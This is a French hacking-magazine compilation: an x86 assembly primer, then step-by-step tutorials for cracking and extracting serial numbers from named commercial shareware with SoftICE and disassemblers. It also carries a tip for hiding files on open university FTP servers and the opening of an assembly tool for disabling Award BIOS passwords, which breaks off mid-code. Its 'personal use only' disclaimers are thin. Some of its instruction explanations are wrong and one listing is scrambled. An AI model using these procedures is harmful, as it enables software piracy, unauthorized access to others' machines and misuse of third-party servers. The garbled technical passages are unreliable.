Les registres a 32 bits on un E devant leur nom (EAX, EBX, ECX, EDX). Remarquons que AX= 655365 au maximum et AL=255, de plus la partie haute du registre ne peut être modifiés séparément. Donc, on n'aura jamais EBH ou ECL. Les 3 autres catégories de registres n'ont pas de partie 8 bits et peuvent être étendus à 32 bits en précédent leur nom d'un "E" également.
Il existe deux types de programmes (on verra cela plus tard) : les COM et les EXE. La différence est qu'un COM ne peut utilsier pas plus d'un segment de la mémoire (64K) et donc les 4 registres CS, DS, SS, ES ont la même valeur. Les EXE, eux, peuvent travailer avec plusieurs segments. Passons maintenant aux instructions de base.

---2. Les instructions de base---

* L'instruction la plus connue est sans doute l'instruction MOV. Elle permet de copier (et non pas déplacer) le contenu d'un registre dans un autre, ou de copier un nombre dans un registre, etc…
forme : mov dest,src
ex : mov ax,bx copie le contenu de bx dans ax
mov bx,4 met "4" dans bx

mov [bx],4 : met 4 à l'adresse sur laquelle pointe bx. Le problème est que on ne sait pas si "4" doit être considéré comme
un octet, deux octets, 4 octets... Lorsque l'on fait mov bx,4 on sait que l'opération se fera sur 16 bits, car c'est la
taille du registre bx. Ici, il faut préciser comme suit :
mov byte ptr [bx],4 ou
mov word ptr [bx],4

un word = un mot, c'est à dire deux octets (bytes)

* L'instruction CMP
Elle compare des registres ou des emplacements de mémoire. Selon le résultat, elle va changer quelques indicateurs. Si les
deux opérandes sont égaux, par exemple, le zéro flag va entre autre être mis à zéro. On pourra gérer ce résultat par un saut
conditionnel.
ex : cmp ax,bx

* Les instructions INC et DEC
Ajoute 1 à la valeur d'un registre. L'instruction dec fait l'inverse
inc ax

* L'instruction ADD
add ax,bx ajoute à ax le contenu de bx

* L'instruction NOP
Nop veut dire non opérate (c'est aussi un super cracker ;), le processeur ne fait rien et l'ignore. Elle est tres utile pour
patcher certaines instructions gênantes dans un logiciel.

* L'instruction AND
Elle effectue un ET logique en traitant les deux opérandes bit à bit... Un et logique donne 1 si les deux opérandes sont à 1

* L'instruction OR
Elle effectue un ou logique. Elle retourne 1 si un des deux opérandes est à 1.
Elle est souvent utilisée pour tester qu'un registre est à 0. Or ax,ax ne renvoie 0 dans ax que si tous les bits de ax sont
à zéro. Le zéro flag est affecté, et permet un branchement conditionnel.

* L'instruction XOR
Elle effectue un ou exclusif. Il faut que l'un des bits soit à 1, mais pas les deux.

* L'instruction TEST
Elle effectue un ET logique, mais ne modifie pas les opérandes. Seuls les indicateurs le sont. C'est un excellent moyen de
vérifier qu'un registre est à zéro. (par test eax, eax par exemple)


---3. Les instructions de branchement---

* L'instruction JMP
Elle effectue un saut à l'adresse spécifiée. Le programme continuera son exécution à l'adresse spécifiée. Elle est
l'équivalent de la commande goto des langages de haut niveau.

* L'instruction CALL
Elle appelle un sous programme à l'adresse spécifiée. Celui-ci doit se terminer par une instruction RET qui dira au
processeur de reprendre le programme après le dernier CALL.

* Les sauts conditionnels
Ils testent les flags pour savoir si un saut doit avoir lieu ou non.

JE ou NZ : saute si le zéro flag est à 1
JNE ou JNZ : saute si le zéro flag est à 0

CMP ax,bx met le zéro flag à 1 si les deux registres ont la même valeur
JE 12345 saute à l'adresse 12345 si le zéro flag est à 1

Il y a BEAUCOUP d'autres sauts conditionnels. Mais je ne peux tous vous les détailler ici.

---4. La pile---

La pile est une zone mémoire qui sert à stocker temporairement des données. On peut rajouter une donnée en l'empilant, et en
lire une en la dépilant. On ne peut donc que lire la dernière donnée sur la la pile. C'est une structure de type LIFO : Last In First Out. Le dernier élément de la pile est à l'adresse SS:PP. Il ne faut pas modifier PP directement, il faut utiliser les instructions d'empilage et de dépilage. L'instruction d'empilage est push push ax ajoute la valeur de ax à la pile
L'instruction de désempilage est pop pop ax met dans ax la valeur du dernier élément de la pile

====================

Voilà, j'espère que vous vous êtes un peu familiarisé avec l'assembleur. Pour commencer à cracker, vous n'avez pas besoin de
connaître tout ce cours. Achetez un livre de référence sur l'assembleur et vous apprendrez au fur et à mesure, en craquant.
Pas de souci, le prochain article sera "CRACKING : PAS A PAS". Faites moi confiance, je viens de cracker Paint Shop Pro 7.02 et Winzip 8 ;-)
D'ailleurs, on est parti pour une première approche de cracking.

Le cracking est l'art de déplomber des logiciels protégé ou limité en contournant le système de protection. Ne vous êtes-vous jamais demandé comment certains hackers font pour avoir les numéros de série de certains logiciels ? Il est possible de récupérer le code d'enregistrement dans le programme. Cette technique s'appelle le reversing. Démonstration.

INTRODUCTION
--------------------------------
La cracking a pour but de contourner les protections par code d'enregistrement ou par "time limit", dispositif intégré dans le logiciel qui le bloque au bout d'une certaine période d'essai. En cracking, on distingue deux types d'attaques différentes:
- le dead listing, qui consiste à inverser la routine de vérification d'un numéro de série, en faisant passer tous les mauvais pour des bons (et donc le seul bon pour tous les mauvais!)
- le patching dont le but est de désactiver tout ce qui, dans le programme, l'assimile à un shareware (nom inconnu, nag screen...) pour feinter le logiciel qui croira qu'on lui a donner le numéro de série et donc qu'il se débloquera tout seul.
Tout cela demande d'analyser le programme en assembleur. Cela reste légal tant qu'on s'adonne à ces arts dans un cadre strictement personnel. Le reversing, lui, a pour but de s'infiltrer dans le programme pour déniche et décoder le serial number (et ce n'est sûrement pas en lisant des revues qui en jettent pleins la vue et tête de mort se mêlent avec les BD qu'on y parviendra).
Pour cela, il faut une protection simple, c'est-à-dire un code qui est toujours le même (les autres protections, c'est pas la même sauce...) Avant de foncer directement dans le tas tête baissée, on va d'une part examiner une méthode de cracking d'un programme, simple, classique, que connaît pour crackeur qui se respecte (crackeur de son propre logiciel dans le but de s'en faire une copie de sauvegarde, évidemment, et à des fin strictement personnel), puis, on abordera la technique du reversing.

METHODE UN
--------------------------
La victime de notre attaque sera le logiciel Task Lock 3 qui contient un simple serial number en guise de protection. C'est un logiciel vieux, ce qui évitera le piratage idiot que certains pourrait faire suite à la lecture de cet article (ce type de protection est de plus en plus bannie pour sa flagrante inutilité) ; de toute façon, le but est uniquement de comprendre la méthode. Nous aurons besoin de l'un des plus puissants débuggeur au monde : SoftICE.
Evidemment, on arrivera à rien si l'on ne récupère pas quelques infos indispensable sur le logiciel-cible, sur sa nature, sa structure et l'agencement de sa protection. Dans notre recherche, on apprend entre autres que c'est une application 32 bits tournant sur Windows 9x et, dans le menu Register, une boîte de dialogue nous demande le code d'enregistrement. Dans l'aide on apprend qu'il est possible de s'enregistrer soit individuellement, soit en plate-forme, donc on aura logiquement deux recherches à effectuer pour cracker le programme.
Le moins idiot est de poser un points d'arrêts (on suppose que nos lecteurs savent se servir d'un debugger... un point d'arrêt, ou breakpoint, et un sorte de repère que l'on implante dans le logiciel sur une fonction précise et qui se déclenche quand cette fonction est activée, afin de dénicher où elle est appelée et ainsi de pouvoir falsifier la routine de vérification de mot de passe, par exemple) sur la fonction "GetDlgItemtext" (... et qu'il connaissent les API Windows, bref qu'il ne soient pas des abrutis en informatique). SOus SoftICE, pour agir ainsi, utilisez la commande "BPX + le-nom-de-la-fonction-ou-de-son-adresse-mémoire" :
:bpx getdlgitemtexta
Si un message d'erreur (du style "No LTD") apparaît, c'est qu'une tierce application tournent en tâche de fond. La commande "bl" permet d'afficher la liste des breakpoints.
Voila : ce point d'arrêt interceptera tous les appels de la fonction GetDlgItemtextA. Comme celle là permet d'afficher une boîte de dialogue, elle bloquera le programme avant qu'il n'affiche le message d'erreur pour nous informer que le numéro de série est invalide. On repèrera ainsi l'endroit approximatif où est validé le serial. Donc, maintenant, sous Task Lock, tentons un code et... ça marche (sinon, c'est que notre breakpoint pointe une mauvaise fonction).
Parenthèse : pour supprimer le breakpoint, il faut utiliser la commande
: bc 0
et pour le réactiver, remplacez "bc" par "be".

Dirigeons-nous alors vers l'endroit où la fonction est appelée par F11 : nous sommes dans SGLSET.EXE.
La première ligne dans la fenêtre de code doit avoir cette allure :
CALL [user32!GetDlgItemTextA]
Déplacez-vous via Ctrl + HAUT. J'ai mis des commentaires, mais vous avez intérêt à apprendre l'assembleur si vous êtes à la rue... sinon : pas d'assembleur pas de cracking et pas de reversing :(

RET
PUSH EBP // début de la fonction
MOV EBP, ESP
SUB ESP
PUSH ESI
LEA EAX, [EBP-34] // EAX = EBP - 34
PUSH EDI
MOV ESI, ECX
PUSH 32 // sauve la longueur max. acceptée
PUSH EAX // sauve la valeur EAX
PUSH 000003F4 // sauve l'identificateur de contrôle
PUSH DWORD PTR [ESI+1C]
CALL [user32!GetDlgItemTextA] // appel de la fonction

On note que le texte est sauvegardé en EAX et que EAX est égal à EBP - 34. Donc, regardons la valeur "EBP - 34" en tapant :
:d ebp-34
La valeur s'afficher dans la fenêtre de données. Maintenant, il faut dégotter l'endroit où notre code est comparé au code valable pour enregistrer le logiciel. Donc, on remonte dans le programme, instruction par instruction via F10 jusqu'à ce que l'on trouve quelque chose à propos de EBP-34 ... On obtient très vite ça :

LEA EAX, [EBP+FFFFFF64] // EAX = EBP-9C
LEA ECX, [EBP-34] // ECX = EBP-34
PUSH EAX
PUSH ECX
CALL 00403DD0 // appel une fonction
ADD ESP, 08 // efface l'info sauvée
TEST EAX, EAX
JNZ 00402BC0 // (JNZ = Jump if Not Zero) : saute à l'adresse 00402BC0 si différent de 0

On a une comparaison de chaîne de caractères fonctionnant ainsi : si les chaînes sont égales, le flag passe à 0, sinon non. C'est ici que les codes d'enregistrements sont comparés.
Calculons ce qui se cache derrière notre valeur, [EBP+FFFFFF64]. SoftIce gérant très mal les nombres négatifs, donc, il faut le faire manuellement. Un peu de connaissance en hexa et on obtient :
100000000 - FFFFFF64 = 9C
Pour savoir se qui se cache derrière EBP-9C, tapons:
: d ebp-9c
La fenêtre de données nous donne une longue suite de nombre: c'est le bon code. Mais, si vous avez suivi, on a dit qu'on avait deux types d'enregistrements donc deux serials. Par conséquent, après avoir noté le code obtenu, on remonte avec F10 encore jusqu'à obtenir autre chose concernant EBP-34, et finalement on arrive à ça:

LEA EAX, [EBP-68] // EAX = EBP - 68
LEA ECX, [EBP-34] // ECX = EBP - 34
PUSH EAX // sauve EAX
PUSH ECX // sauve ECX
CALL 00403DD0 // appel une fonction
ADD ESP, 08 // efface l'info sauvegardée
TEST EAX, EAX
JNZ 00402BFF // saute si différent de 0

Et à l'adresse EBP-68 on trouve quoi? Mais oui, notre code d'enregistrement. Il ne reste plus qu'à le faire. Tout devrait fonctionner.

METHODE DEUX
-------------------------------
Nous venons de voir comment craqué facilement un programme. On va voir maintenant comment obtenir le code d'enregistrement légal du logiciel. Entendons-bien : ce n'est pas du cracking, mais du reversing : examiner le programme, sans le toucher, afin d'y récupérer le numéro de série. Bien sûr, cela n'est à faire que sur vos propres logiciels. A bon entendeur...

Changeons. Le programme-cible, cette fois, est Command Line 95. C'est une application 32 bit avec un code d'enregistrement tout bête. On fait comme Tasklock pour les breakpoints, on en pose deux : à la fois sur GetWindowTextA et sur GetDlgItemTextA
: bpx getwindowtexta
: bpx getdlgitemtexta
Allez vous enregistrer et le programme bloque sur GetDlgItemTextA. On se sert de F11 pour retourner à la fonction d'appel. Ensuite, on se sert de CTRL + HAUT pour arriver au code suivant :

MOV ESI, [ESP+0C] // longueur max.
PUSH 1E
PUSH 0040A680
PUSH 000003ED
PUSH ESI
CALL [User32!GetDlgItemTextA] // appel de la fonction

Le nombre 40A680 semble intéressant, voyons sa valeur :
: d 40a680
Dans la fenêtre de données, on obtient, si un nom n'est pas saisi :

PUSH 00
PUSH 00
PUSH 000003F6
MOV EDI, 0040A680
PUSH ESI
CALL [User32!GetDlgItemInt] // appel de la fonction (elle est similaire à GetDlgItemText)

Cette fonction nécessite une référence de la boite d'édition. Il est stocké en EAX et si l'on regarde la fenêtre de registres, on peut lire :
EAX = 00003039
Convertissons le chiffre hexadécimal 3039 via la commande :
: ? 3039
et l'on s'aperçoit que cela vaut "0000012345" en Déc et "09" en ASCII : c'est le code "bidon" qu'on a entré tout à l'heure. Dans le suite de logiciel, on remarque que ce code est sauvegardé:

MOV [0040A548], EAX
MOV EDX, EAX

En dessous, on note que le code est calculé...

MOV ECX, FFFFFFFF // calcul de la longueur de la chaîne
SUB EAX, EAX //
REPNZ SCASB //
NOT ECX //
DEC ECX // ECX contient la valeur de la longueur
MOVSX EAX, BYTE PTR [0040A680]
IMUL ECX, EAX // ECX = ECX * EAX
SHL ECX, 0A // décalage logique à gauche de 0A
ADD ECX, 0002F8CC // ajoute 2F8CC au résultat
MOV [0040A664], ECX

... puis validé.

CMP ECX, EDX // comparaison des codes
JZ 00402DA6 // si égal à 0, saut

Pour connaître, le code, il suffit donc de connaître, non la valeur de EAX, mais de ECX :
: ? ECX
Pour notre code, ça donne : "0000901324". Donc le bon code est : 901324. Enregistrez-vous avec celui-là et... ca roule.

LA MORALE
----------
C'est archi simple. Il suffit de rentrer un code bidon, de repérer l'endroit où il est utilisé dans le programme et de le suivre pour voir ce qu'il devient. C'est pas compliqué, mais très utile pour comprendre l'architecture d'un programme en assembleur. Donc, la solution est : NE CRACKER PAS, faites du reversing sur votre propres programmes, c'est pas trop dur et instructif. Evidemment, quand on s'en prend à des logiciels plus commercial, du style Paint Shop Pro et compagnie, ce n'est plus une mince affaire... mais, vous le constaterez bientôt, rien n'est impossible. L'architecte des Twin Towers l'a très bien compris: rien n'est indestructible ;)

***************
Question : Comment faire pour planquer des fichiers sur Internet quand on ne possède pas de site ?
Réponse : utiliser les FTP de prestigieuse université (allemande et anglaise) qui n'ont AUCUNE protection FTP. Jugez plutôt:
ftp.rz.uni-wuerzburg.de (université allemande)
ftp.mcc.ac.uk (Manchester Computing - Royaume-Uni)
ftp.gwdg.de (Univ allemande )
ftp.cs.ubc.ca (Computer Science University of British Columbia)
Ces trois sites acceptent n'importe quel anonyme se balader sur leur site... Sympa, les gars! Mieux que Microsoft, faut faire fort!



Vous connaissez les numéros de séries juste pour les récupérer sur le Web pour vos programmes... Mais comment ça marche, en fait? Voici l'ultime article bilan sur les Sérial Number.

I.INTRODUCTION
----------------
De nos jours, l'idée de gratuité n'existe plus. Chaque développeur protège donc ses progs afin de se faire de l'argent en les diffusant en version shareware en général.
IL faut bien faire la différence entre version d'essai transformable en version complète, de la version de démonstration, qui n'est (théoriquement) que tout ou partie de la version licenciée.
En général, il suffit d'entrer un sérial dans la boîte d'enregistrement pour transformer le shareware en version définitive. Ce sérial peut se communiquer par téléphone, courrier, mail...
Il y a différents types de shareware :
-les times limits (version d'essai à durée déterminée):le prog est utilisable pendant une période limite (en général 30 jours, 1E en hexa)
-les fonctions désactivées ou manquantes: le prog n'est pas utilisable dans son intégralité.
Le sérial peut être composé d'une combinaison numérique, alphabétique, alphanumérique ou de chaîne séparé par des tirets (-). Il peut être unique ou personnalisé à partir des critère Nom: un code différent est généré pour chaque user. Des logiciels comme Super Snooper lisent toutes les chaînes alphanumériques contenues dans un exécutable afin de dégotter le serial sans avoir a éditer le prog avec un logiciel hexa.

Prenons le cas du programmes DreamWeaver.
Le code est en toute lettre, non codé, dans l'exécutable. A défaut de Super Snooper, un désassemblage de DreamWaever.exe avec Wdasm me donne ce sérial dans l'une des " String data références " !

Dans certain cas, le programme va attendre l'entrée d'un numéro de série comportant des caractères spéciaux, comme les séparateurs (-):

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00409850(U)
|
:0040983A 3BCF cmp ecx, edi -> edi = nombre de caractères du code
:0040983C 7314 jnb 00409852&#9; -> jump vers vérification du code
:0040983E 803A2D cmp byte ptr [edx], 2D -> recherche de " - "
:00409841 7506 jne 00409849 -> sinon continue

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00409847(C)
|
:00409843 42 inc edx -> caractère suivant
:00409844 803A2D cmp byte ptr [edx], 2D -> [edx] = notre code
:00409847 74FA je 00409843 -> boucle

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00409841(C)
|
:00409849 8A02 mov al, byte ptr [edx]-> un caractère dans AL
:0040984B 41 inc ecx -> compteur de boucle
:0040984C 42 inc edx -> caractère suivant
:0040984D 8841FF mov byte ptr [ecx-01], al -> réécrit le code ailleurs
:00409850 EBE8 jmp 0040983A -> boucle

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040983C(C)
|
:00409852 53 push ebx
:00409853 C60100 mov byte ptr [ecx], 00
:00409856 6A32 push 00000032
:00409858 8D4E44 lea ecx, dword ptr [esi+44]
:0040985B E885CF0100 call 004267E5
:00409860 50 push eax -> notre UserName
:00409861 8BCD mov ecx, ebp
:00409863 E8088DFFFF call 00402570-> calcul du sérial number :)
:00409868 8BF8 mov edi, eax
:0040986A 6AFF push FFFFFFFF
:0040986C 8D4E44 lea ecx, dword ptr [esi+44]
:0040986F E8B2CF0100 call 00426826-> comparaison avec notre code
:00409874 85FF test edi, edi
:00409876 0F84C200000je 0040993E-> vers " code invalide "
:0040987C 53 push ebx début de code valide
:0040987D 8BCD mov ecx, ebp
:0040987F C785F400000001000000 mov dword ptr [ebp+000000F4], 00000001
:00409889 C785F800000000000000 mov dword ptr [ebp+000000F8], 00000000
* Possible StringData Ref from Data Obj ->"RegistrationKey"

En 0040983A, la cible va vérifier que ce code comprend bien des "-" -> cmp byte ptr [edx],2D
(2D étant égal au symbole "-"). Donc notre code doit en comporter (deux précisément). Si vous entrez un numéro de série du genre "1234-1234-1234", vous passerez tous ces tests avec succès.
Un peu plus loin un call 00402570 va calculer le numéro de série d'après le nom que vous aurez entré.
A suivre, vous verrez un call 00426826. C'est lui qui va contrôler la validité de votre code, et en cas d'inexactitude, créer un branchement par un je 0040993E -> code invalide
Si on inverse le saut (je -> jne), on verra avec plaisir le bel écran "Code accepté". Pour autant vous n'aurez pas trouvé la solution, mais seulement comment ne pas arriver dans la routine "Code Invalide".


III.LES BOITES D'ENREGISTREMENT
--------------------------------
La saisie du sérial se fait majoritairement par le biais d'une boite d'enregistrement comportant autant de champs que de données à entrer (Nom, Compagnie, Numéro de série...). Bien souvent, un message "Code invalide" sanctionnera l'entrée d'un sérial erroné. L'accès à cette boite l'enregistrement pourra être proposée de façon systématique, et apparaîtra à chaque lancement de l'application, être accessible par l'un des menus de la barre des tâches du programme, soit directement, soit via le menu "A propos", ou par une combinaison de touche. L'accès à cette boite pourra dépendre de l'état d'un drapeau Utilisateur Licencié ou non.

Les boites d'enregistrement les plus usuelles peuvent être classées en quatre catégories:
- les boites à champ unique
- les boites à champs multiples
- les boites sans bouton de validation
- les boites sans écran de validation


IV. ARCHITECTURE
----------------
La saisie du ou des champs
Une fois les informations demandées entrées dans les champs de la boite d'enregistrement, le programme va s'occuper d'en saisir le contenu. Pour cela, il va utiliser des API Windows comme

Hmemcpy
GetWindowText (A)
GetDlgItemText (A)

Reference To: USER32.GetDlgItemTextA, Ord:00EDh |

:0040980B FF15DCAA4400 Call dword ptr [0044AADC] -> saisie d'un champ
:00409811 83F80E cmp eax, 0000000E -> 14 caractères
:00409814 8BF8 mov edi, eax -> pousse le nombre de caractères entrés dans edi
:00409816 0F8C35010000 jl 00409951 -> jum vers " code invalide "
"* Possible StringData Ref from Data Obj ->"0123456789ABCDEF-" |
:0040981C 6854624400 push 00446254 -> push le bon sérial
:00409821 53 push ebx -> push notre code
:00409822 E8BD020100 call 00419AE4 -> compare des deux
:00409827 83C408 add esp, 00000008 -> dépile
:0040982A 3BC7 cmp eax, edi -> vérifcationn du code
:0040982C 0F851F010000 jne 00409951 -> s'il est mauvais... " code invalide "

Dans cet exemple, la saisie se fait par GetDlgItemTextA, et à la sortie de cette API, le programme contrôle que le code comprend bien 14 caractères (0E en hexa), et sinon file en procédure code_invalide. Ensuite, les push ebx et 00446254, qui poussent notre code sur la pile, vont être comparé dans le call suivant...
Dans un listing désassemblé, une recherche sur la chaîne GetWindowTexta (par exemple), ou en consultant la liste des fonctions importées, peut permettre de localiser la routine de saisie du sérial, tout en sachant que cette API peut également être utilisé par d'autre boite de dialogue.

Le code que vous avez entré va être saisi par le programme. Pour cela il fait presque toujours appel à Hmemcpy, l'une des API Windows, qui elle même peut-être appelée par GetdlgItemText(A), ou GetWindowText(A). Des breakpoints (à l'aide du logiciel Soft-Ice) posés sur ces deux dernières fonctions Windows donnent souvent de bons résultats, mais Hmemcpy à l'avantage. Quand vous tapez un Bpx hmemcpy, vous vous "enfoncez" loin dans les procédures Windows, et il n'est pas rare d'avoir à taper une douzaine de fois sur F12 pour finir par quitter le dernier Kernel, le dernier User, et enfin revenir au programme sur lequel votre intérêt s'est porté.

Une fois saisi, votre code va être mis dans un registre, et plus souvent dans une adresse mémoire du genre [00407632], ou [ebp-14]... Il faut toujours être curieux de ce qui peut se trouver dans ces adresses, et ne pas hésiter à taper un "d ebp-14", pour en interroger le contenu qui s'affichera dans la fenêtre des Datas de Soft-Ice.

Il y a ensuite les API de traitement des Strings:
lstrcmpiA
GetFileAttributesA
lstrcpyA
DeleteFileA
lstrcmpA
(Suivant la structure de l'application (16 ou 32 bits), il faudra, ou non, inscrire le "A" à la fin). Sans chercher à détailler ce que font chacune de ces API, voici un exemple pour la fonction lstrcpyA. Elle compare deux chaînes de caractères ("Case Sensitive"), et retourne une valeur.

int lstrcmp
LPCTSTR lpString1 // adresse de la première string
LPCTSTR lpString2 // adresse de la seconde string
Paramètres
lpString1 -> Pointe sur la première chaîne non nulle à comparer.
lpString2 -> Points sur la seconde chaîne non nulle à comparer.

Cela se traduira par une routine de ce genre ci:
0157:004011DD 50 PUSH EAX <- pousse votre code sur la pile
0157:004011DE 6830604000 PUSH 406030 <- pousse le bon code sur la pile
0157:004011E3 FF1520924000 CALL [KERNEL32!lstrcmp] <- les compare
0157:004011E9 85C0 TEST EAX, EAX <- vérifie si ils sont identiques
0157:004011EB 0F8580000000 JNZ 00401271 <- va en code invalide

je vous laisse imaginer l'intérêt qu'il y a à faire un "d eax" et un "d 406030" avant le call lstrcmp...

**La vérification du format**
Suivant la forme des caractères attendus dans les champs de la boite d'enregistrement, le programme va vérifier la validité des chaînes saisies. Ainsi, il pourra contrôler la présence, ou non, d'informations dans ces champs, et leurs formats. Comme il est rare que votre "vrai" nom contienne des ! ou des chiffres, la routine de contrôle se branchera sur la procédure adéquat, et pourra générer un message d'erreur. Il en sera de même si le numéro de série attendu est essentiellement de type alphabétique alors que vous avez inscrit un sérial numérique. Il peut également être attendu un ou plusieurs séparateurs (-), et finalement la longueur de votre nom, ou du numéro de série peut être contrôlé.

:0040788D
:0040788F
:00407891
:00407893
:00407895
:00407897
:00407899
:0040789B
:0040789C
:0040789D
:0040789E
:004078A0 8A02
3C61
7206
3C7A
7702
2C20
8806
42
46
4B
85DB
75EB mov al, byte ptr [edx]
cmp al, 61
jb 00407899
cmp al, 7A
ja00407899
sub al,20
mov byte ptr [esi], al
inc edx
inc esi
dec ebx
test ebx, ebx
EXPLICATIONS:
jne 0040788D Prend une lettre dans [edx], et met là dans al. On compare al avec 61h (soit le "a" minuscule ASCII). On jump vers la procédure 00407899 si al est inférieur à 61h ou vers la procédure 00407899 si supérieur. On enlève les espaces si on en trouve ( 20h = " "). O place al dans [esi] afin de reconstruire une chaîne ailleurs
edx=edx+1 (incrémente edx pour la lettre suivante)
esi=esi+1 (incrémente pour la deuxième chaîne)
ebx=ebx-1 (ebx = nombre de caractères du code )
ebx est-il égale à zéro (plus de lettres à lire ?)
On recommence si ça n'est pas le cas, ou on continue.

Vous aurez remarqué que votre code est réécrit ailleurs, et qu'il est probable que ce soit sur cette nouvelle adresse que les contrôles suivants s'effectueront.

**La génération du code**
L'ingéniosité des auteurs dans la génération des codes peut être des plus navrantes jusqu'au plus paranoïaque. Dans l'exemple suivant, et grâce à VBDis, un décompilateur Visual basic, vous aurez l'intégralité du source saisissant, générant (en gras) et vérifiant votre sérial

If Texte1.Text = "" Or Texte2.Text = "" Then
MsgBox ("Renseignez les deux cadres S.V.P."), 24, "ENREGISTREMENT"
Exit Sub
End If
Texte1.Text = UCase$(Texte1.Text)
ReDim l0028(40)
l002E = 0: l0028(l0032) = 0
For l0032 = 1 To Len(Texte2.Text)
l0028(l0032) = Int((Asc(Mid$(Texte2, l0032, 1))) * l0032 * Len(Texte2.Text) + 46397& / Len(Texte2.Text) + 6) * 152
l002E = l002E + l0028(l0032)
Next l0032
Etiquette2.Caption = l002E + Left$(Texte2.Text, 2)
If UCase$(Texte1.Text) <> UCase$(Etiquette2.Caption) Or Texte1.Text = "" Then
MsgBox ("ERREUR DE CODE"), 64, ("ENREGISTREMENT")
Texte1.Text = ""
Texte2.Text = ""
Open "cdgratis.ini" For Output As #2
Print #2, "LICENCE NON ENREGISTREE"
Print #2, "76614840LI"
Close #2
Unload Me
Else
l0026 = "LE CODE EST CORRECT. "
l0026 = l0026 + Chr$(10)
l0026 = l0026 & UCase$(Texte2.Text)
l0026 = l0026 + Chr$(10)
l0026 = l0026 & " S'EST ENREGISTRE CONVENABLEMENT."
Open "cdgratis.ini" For Output As #2
Print #2, Texte2.Text
Print #2, Texte1.Text
Close #2
MsgBox l0026, 48, "BIENVENUE A CD GRATIS!!!"
l003C = "RELANCEZ CD GRATIS POUR METTRE A JOUR"
l003C = l003C + Chr$(10)
l003C = l003C & "VOTRE ENREGISTREMENT"
MsgBox l003C, 64, "VERSION ENREGISTREE"
End
End If

Dans un autre exemple, voici la partie basse de la routine de génération du sérial:

:0040281B B81F85EB51 mov eax, 51EB851F > pousse 51EB851F dans EAX
:00402820 F7E7 mul edi > ???????????????
:00402822 8BF2 mov esi, edx > EDX sauvé dans ESI
:00402824 8B542414 mov edx, dword ptr [esp+14]
:00402828 C1EE05 shr esi, 05 > décalage à droite de 5
:0040282B 8BFE mov edi, esi > ESI sauvé dans EDI
:0040282D 52 push edx > pousse notre code sur la pile
:0040282E 81F721332153 xor edi, 53213321 > ou logique entre code(h) et 53213321
:00402834 E817390100 call 00416150
:00402839 8B8D94000000 mov ecx, dword ptr [ebp+94]> place un code dans ECX
:0040283F 83C404 add esp, 00000004 > rétablie la pile
:00402842 3BC1 cmp eax, ecx > compare notre code(h) avec ECX
:00402844 7411 je 00402857 > saute vers code valide
:00402846 8B442414 mov eax, dword ptr [esp+14] > notre code en décimal
:0040284A 50 push eax > pousse notre code sur la pile
:0040284B E800390100 call 00416150 > conversion en hexa
:00402850 83C404 add esp, 00000004 > rétablie l'état de la pile
:00402853 3BC6 cmp eax, esi > compare les 2 sérials
:00402855 757B jne 004028D2 > saute vers code invalide
:00402857 E8508F0300 call 0043B7AC > début de la proc code valide

V.ALORS?
--------
Alors, j'espère que cet article vous a permis d'y voir claire sur les keygens. ON est parti d'un programme assez commercial et on a finit par lui tirer le numéro de série du nez! Comme quoi, la protection, même dans les logiciels, c'est du bluff! Avec les outils nécessaire, de bonnes connaissance et un bon cerveau (une conscience peut aussi être utile;) on peut arriver à tout!



Beaucoup de programmes permettent de protéger son ordinateur par implémentation de mots de passe. Certains, comme Access Denied, vont jusqu'à se charger avant Windows, afin d'assurer une sécurité optimale. Mais, depuis le temps des dinosaures, les mots de passes les plus usités en ce qui concerne la sécurité d'un PC et qui sont actifs dès le démarrage du PC, sont les mots de passes BIOS. Dès que ce dernier est activé, il bloque la machine, avant, tout démarrage d'un quelconque OS (DOS, Windows…). Dès lors, la question cruciale est : peut-on craquer un mot de passe BIOS?
Evidemment, sinon cet article n'aurait aucune utilité. Mais comment ? Certains, d'entre vous, en connaisseurs, s'écriront qu'il suffit simplement de retirer la pile CMOS et attendre suffisamment longtemps afin de vider les condensateurs, ce qui aurait pour effet de faire gicler le mot de passe. Un petit court-circuit du CMOS permet même d'accélérer le processus.
Certes. Admettons maintenant que vous êtes dans l'incapacité d'ouvrir la machine en question (qui a dit celle de mon pire ennemi ???;). Il existe évidemment des méthodes plus software. Quelques connaissance en ASM seront préférable pour mieux comprendre la suite. Mais, avec mon article HS CRAKING (paru précédemment), vous êtes au top ! Le but est de formuler une routine pour récupérer le password BIOS. Vous comprendrez ainsi la programmation système en assembleur et serait plus à même d'optimiser ce fichier, bref de vous débrouiller.
Cette routine faite maison est destiné aux possesseurs d'Award Modular Bios (les plus courants). Elle est agrémenter de quelque explications sur les points importants de la routine. Let's go.
------------------
;***CRACKING AWARD MODULAR BIOS - For Hacker New Magazine***
.MODEL TINY
.CODE
ORG 100h

;*** Program start: ***
start:

jmp real_start // jump au début réel du prog

;*** global data: ***
db " ///CRACK POUR AWARD BIOS-StiG///", 13, 10

pw_1 db 13, 10, "* Password nécessaire pour entrer dans le Système", 13, 10, "$"
pw_2 db 13, 10, "* Password nécessaire pour entrer dans le Setup", 13, 10, "$"
pw_3 db 13, 10, "* Supervisor-password DESACTIVE", 13, 10, "$"
pw_4 db 13, 10, "* Supervisor-password ACTIVE", 13, 10, "$"
pw_5 db 13, 10, "* User-password DESACTIVE", 13, 10, "$"
pw_6 db 13, 10, "* User-password is ACTIVE", 13, 10, "$"

;format: length, "cmdl":
;-------------------------------
p_show db 4, "SHOW" //commandes de paramètres
p_soff db 8, "SUPEROFF"
p_son db 7, "SUPERON"
p_system db 6, "SYSTEM"
p_setup db 5, "SETUP"
p_uoff db 7, "USEROFF"
p_uon db 6, "USERON"

num_params EQU 7

help db 13, 10, "Usage: AW-CRACK [SHOW | SUPERON|SUPEROFF | USERON|USEROFF | SYSTEM|SETUP]"
db 13, 10
db 13, 10
db 13, 10, " SUPERON|SUPEROFF,"
db 13, 10, " USERON|USEROFF: ... // active ou désactive le password du BIOS!"
db 13, 10, " WARNING!: ne jamais l'activé avec un password inconnu!,"
db 13, 10
db 13, 10, "Ce programme fonctionne UNIQUEMENT avec les Award Modular BIOS"

cmdl db 128 dup (?)
db "$"

;*** print_msg: ***
print_msg:
mov ah, 09h
int 21h
ret

;*** parse_cmdl: ***
;
;return: AX: 0000h = SHOW
; 0001h = ON, 0002h = OFF
; 0003h = SYSTEM, 0004h = SETUP
; FFFFh = erreur... (paramètre de cmdl inconnu)
parse_cmdl:

